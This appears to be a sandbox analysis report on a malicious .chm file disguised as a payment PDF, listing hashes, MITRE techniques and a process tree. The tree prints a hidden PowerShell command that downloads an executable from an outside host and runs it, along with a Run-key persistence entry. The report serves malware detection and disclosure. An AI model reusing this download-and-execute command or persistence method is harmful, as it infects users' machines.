cf1ffcc75797d37517450cbd5ecb9550ebff74a12a48ba2d0e15983a789215fb

Resubmissions

15/10/2026, 19:42

261015-yen61acw4l10

05/05/2026, 17:07

260505-vm58pscs7w10

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/05/2026, 17:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
payment instruction.987976.pdf.chm
Size 10KB
Sample260505-vm58pscs7w
SHA256 cf1ffcc75797d37517450cbd5ecb9550ebff74a12a48ba2d0e15983a789215fb
MD5 777de47d6b050f35804f0ab3800b5022
SHA1 b79e70226a6684c8c578e096731c9d8014a66485
SHA512 4797302886e082f713311e3c9c568fd9f5db44b307c5fe1cd8416df22819fd178c3c1ac7a74691b09e892da13b4beae893fb3e2ebe1039659c99517a443accf6
SSDEEP 48:f1QmDgKkXQ0M1QRlEFlErlElPVM5s7Lns9gf8K5hhVUKeZjOniS32rpT0ntxj8jC:f6mdNMInsmjWfjjS380j8jQZ4qTn1b
TLSH
T1AF322BF073401934DA9A8A355FC7D057A1203F886E348E663195FB6F1EBAC6E4B508A9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://softpeak.live/install/install_23.exe

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3196	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3196	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
5012	update.exe
3416	romlaunch.exe
1036	ROMServer.exe
5240	ROMFUSClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000\Software\Microsoft\Windows\CurrentVersion\Run\ROMScreenLauncher = "\"C:\\Users\\Admin\\AppData\\Roaming\\screen\\romlaunch.exe\""	update.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ROMFUSClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ROMServer.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
5592	taskkill.exe
2188	taskkill.exe
6100	taskkill.exe
376	taskkill.exe
4216	taskkill.exe
1808	taskkill.exe
1032	taskkill.exe
6084	taskkill.exe
4872	taskkill.exe
4008	taskkill.exe
1760	taskkill.exe
2380	taskkill.exe
3928	taskkill.exe
5172	taskkill.exe
5672	taskkill.exe
5280	taskkill.exe
3836	taskkill.exe
1832	taskkill.exe
4200	taskkill.exe
3696	taskkill.exe
3352	taskkill.exe
5244	taskkill.exe
5876	taskkill.exe
2728	taskkill.exe
5328	taskkill.exe
2296	taskkill.exe
4928	taskkill.exe
3192	taskkill.exe
5360	taskkill.exe
2236	taskkill.exe
1556	taskkill.exe
1604	taskkill.exe
2764	taskkill.exe
3248	taskkill.exe
2188	taskkill.exe
5716	taskkill.exe
4948	taskkill.exe
2328	taskkill.exe
3260	taskkill.exe
4912	taskkill.exe
4932	taskkill.exe
6072	taskkill.exe
6132	taskkill.exe
1676	taskkill.exe
5656	taskkill.exe
1708	taskkill.exe
4468	taskkill.exe
2540	taskkill.exe
3440	taskkill.exe
480	taskkill.exe
4776	taskkill.exe
5424	taskkill.exe
4244	taskkill.exe
3028	taskkill.exe
4112	taskkill.exe
5452	taskkill.exe
6132	taskkill.exe
1600	taskkill.exe
5208	taskkill.exe
4548	taskkill.exe
6068	taskkill.exe
1044	taskkill.exe
2560	taskkill.exe
4620	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3196	powershell.exe
3196	powershell.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe
3416	romlaunch.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeDebugPrivilege	3416	romlaunch.exe
Token: SeTcbPrivilege	1036	ROMServer.exe
Token: SeDebugPrivilege	5440	taskkill.exe
Token: SeDebugPrivilege	5592	taskkill.exe
Token: SeDebugPrivilege	5208	taskkill.exe
Token: SeDebugPrivilege	5244	taskkill.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeDebugPrivilege	5544	taskkill.exe
Token: SeDebugPrivilege	3512	taskkill.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeDebugPrivilege	5532	taskkill.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	5876	taskkill.exe
Token: SeDebugPrivilege	5520	taskkill.exe
Token: SeDebugPrivilege	5088	taskkill.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	376	taskkill.exe
Token: SeDebugPrivilege	3660	taskkill.exe
Token: SeDebugPrivilege	4216	taskkill.exe
Token: SeDebugPrivilege	2296	taskkill.exe
Token: SeDebugPrivilege	2728	taskkill.exe
Token: SeDebugPrivilege	1820	taskkill.exe
Token: SeDebugPrivilege	4548	taskkill.exe
Token: SeDebugPrivilege	5468	taskkill.exe
Token: SeDebugPrivilege	5280	taskkill.exe
Token: SeDebugPrivilege	2012	taskkill.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	2540	taskkill.exe
Token: SeDebugPrivilege	5516	taskkill.exe
Token: SeDebugPrivilege	3152	taskkill.exe
Token: SeDebugPrivilege	2076	taskkill.exe
Token: SeDebugPrivilege	5716	taskkill.exe
Token: SeDebugPrivilege	5504	taskkill.exe
Token: SeDebugPrivilege	6084	taskkill.exe
Token: SeDebugPrivilege	4620	taskkill.exe
Token: SeDebugPrivilege	5892	taskkill.exe
Token: SeDebugPrivilege	4948	taskkill.exe
Token: SeDebugPrivilege	5168	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	4872	taskkill.exe
Token: SeDebugPrivilege	4112	taskkill.exe
Token: SeDebugPrivilege	5656	taskkill.exe
Token: SeDebugPrivilege	5452	taskkill.exe
Token: SeDebugPrivilege	5256	taskkill.exe
Token: SeDebugPrivilege	1708	taskkill.exe
Token: SeDebugPrivilege	1920	taskkill.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	4372	taskkill.exe
Token: SeDebugPrivilege	3928	taskkill.exe
Token: SeDebugPrivilege	4008	taskkill.exe
Token: SeDebugPrivilege	3320	taskkill.exe
Token: SeDebugPrivilege	3352	taskkill.exe
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	5360	taskkill.exe
Token: SeDebugPrivilege	4368	taskkill.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	5244	taskkill.exe
Token: SeDebugPrivilege	5544	taskkill.exe
Token: SeDebugPrivilege	3836	taskkill.exe
Token: SeDebugPrivilege	3440	taskkill.exe
Token: SeDebugPrivilege	6132	taskkill.exe
Token: SeDebugPrivilege	1044	taskkill.exe
Token: SeDebugPrivilege	2328	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
708	hh.exe
708	hh.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 708 wrote to memory of 5000	708	hh.exe	79
PID 5000 wrote to memory of 3196	5000	cmd.exe	81
PID 3196 wrote to memory of 5012	3196	powershell.exe	82
PID 5012 wrote to memory of 3416	5012	update.exe	83
PID 3416 wrote to memory of 1036	3416	romlaunch.exe	84
PID 3416 wrote to memory of 5440	3416	romlaunch.exe	85
PID 1036 wrote to memory of 5240	1036	ROMServer.exe	88
PID 3416 wrote to memory of 5592	3416	romlaunch.exe	89
PID 3416 wrote to memory of 5208	3416	romlaunch.exe	91
PID 3416 wrote to memory of 5244	3416	romlaunch.exe	93
PID 3416 wrote to memory of 3028	3416	romlaunch.exe	95
PID 3416 wrote to memory of 5544	3416	romlaunch.exe	97
PID 3416 wrote to memory of 3512	3416	romlaunch.exe	99
PID 3416 wrote to memory of 1152	3416	romlaunch.exe	101
PID 3416 wrote to memory of 5532	3416	romlaunch.exe	103
PID 3416 wrote to memory of 2560	3416	romlaunch.exe	105
PID 3416 wrote to memory of 5876	3416	romlaunch.exe	107
PID 3416 wrote to memory of 5520	3416	romlaunch.exe	109
PID 3416 wrote to memory of 5088	3416	romlaunch.exe	111
PID 3416 wrote to memory of 2188	3416	romlaunch.exe	113
PID 3416 wrote to memory of 376	3416	romlaunch.exe	115
PID 3416 wrote to memory of 3660	3416	romlaunch.exe	117
PID 3416 wrote to memory of 4216	3416	romlaunch.exe	119
PID 3416 wrote to memory of 2296	3416	romlaunch.exe	121
PID 3416 wrote to memory of 2728	3416	romlaunch.exe	123
PID 3416 wrote to memory of 1820	3416	romlaunch.exe	125
PID 3416 wrote to memory of 4548	3416	romlaunch.exe	127
PID 3416 wrote to memory of 5468	3416	romlaunch.exe	129
PID 3416 wrote to memory of 5280	3416	romlaunch.exe	131
PID 3416 wrote to memory of 2012	3416	romlaunch.exe	133
PID 3416 wrote to memory of 6068	3416	romlaunch.exe	135
PID 3416 wrote to memory of 2540	3416	romlaunch.exe	137
PID 3416 wrote to memory of 5516	3416	romlaunch.exe	139
PID 3416 wrote to memory of 3152	3416	romlaunch.exe	141
PID 3416 wrote to memory of 2076	3416	romlaunch.exe	143
PID 3416 wrote to memory of 5716	3416	romlaunch.exe	145
PID 3416 wrote to memory of 5504	3416	romlaunch.exe	147
PID 3416 wrote to memory of 6084	3416	romlaunch.exe	149
PID 3416 wrote to memory of 4620	3416	romlaunch.exe	151
PID 3416 wrote to memory of 5892	3416	romlaunch.exe	153
PID 3416 wrote to memory of 4948	3416	romlaunch.exe	155
PID 3416 wrote to memory of 5168	3416	romlaunch.exe	157
PID 3416 wrote to memory of 4956	3416	romlaunch.exe	159
PID 3416 wrote to memory of 4872	3416	romlaunch.exe	161
PID 3416 wrote to memory of 4112	3416	romlaunch.exe	163
PID 3416 wrote to memory of 5656	3416	romlaunch.exe	165
PID 3416 wrote to memory of 5452	3416	romlaunch.exe	167
PID 3416 wrote to memory of 5256	3416	romlaunch.exe	169
PID 3416 wrote to memory of 1708	3416	romlaunch.exe	171
PID 3416 wrote to memory of 1920	3416	romlaunch.exe	173
PID 3416 wrote to memory of 2188	3416	romlaunch.exe	175
PID 3416 wrote to memory of 4372	3416	romlaunch.exe	177
PID 3416 wrote to memory of 3928	3416	romlaunch.exe	179
PID 3416 wrote to memory of 4008	3416	romlaunch.exe	181
PID 3416 wrote to memory of 3320	3416	romlaunch.exe	183
PID 3416 wrote to memory of 3352	3416	romlaunch.exe	185
PID 3416 wrote to memory of 4684	3416	romlaunch.exe	187
PID 3416 wrote to memory of 5360	3416	romlaunch.exe	189
PID 3416 wrote to memory of 4368	3416	romlaunch.exe	191
PID 3416 wrote to memory of 1760	3416	romlaunch.exe	193
PID 3416 wrote to memory of 5244	3416	romlaunch.exe	195
PID 3416 wrote to memory of 5544	3416	romlaunch.exe	197
PID 3416 wrote to memory of 3836	3416	romlaunch.exe	199
PID 3416 wrote to memory of 3440	3416	romlaunch.exe	201

C:\Windows\hh.exe
"C:\Windows\hh.exe" "C:\Users\Admin\AppData\Local\Temp\payment instruction.987976.pdf.chm"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -W Hidden -ExecutionPolicy Bypass -Command "$p = Join-Path $env:TEMP 'update.exe'; (New-Object System.Net.WebClient).DownloadFile('https://softpeak.live/install/install_23.exe', $p); Start-Process $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -W Hidden -ExecutionPolicy Bypass -Command "$p = Join-Path $env:TEMP 'update.exe'; (New-Object System.Net.WebClient).DownloadFile('https://softpeak.live/install/install_23.exe', $p); Start-Process $p"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3196
  - - C:\Users\Admin\AppData\Local\Temp\update.exe
      "C:\Users\Admin\AppData\Local\Temp\update.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:5012
    - - C:\Users\Admin\AppData\Roaming\screen\romlaunch.exe
        
        "C:\Users\Admin\AppData\Roaming\screen\romlaunch.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3416
      - C:\Users\Admin\AppData\Roaming\screen\ROMServer.exe
        
        "C:\Users\Admin\AppData\Roaming\screen\ROMServer.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Users\Admin\AppData\Roaming\screen\ROMFUSClient.exe
        
        C:\Users\Admin\AppData\Roaming\screen\ROMFUSClient.exe /tray
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5240
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5440
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5592
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5208
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5244
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3028
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5544
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3512
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1152
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5532
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2560
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5876
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5520
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:376
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3660
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4216
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2728
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4548
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5468
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5280
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2012
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6068
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2540
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5516
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3152
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5716
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5504
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6084
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4620
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5892
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4948
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5168
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4956
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4872
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4112
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5656
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5452
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5256
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1708
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1920
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4372
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3928
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4008
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3320
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3352
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4684
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5360
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4368
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1760
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5244
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5544
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3836
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3440
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6132
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1044
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2328
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:2380
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:3260
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:6076
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:892
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:5424
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:2256
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:3928
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:1604
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:2236
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:5328
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        
        PID:6092
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4928
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ROMFUSClient.exe /T
        6⤵
        Kills process with taskkill
        
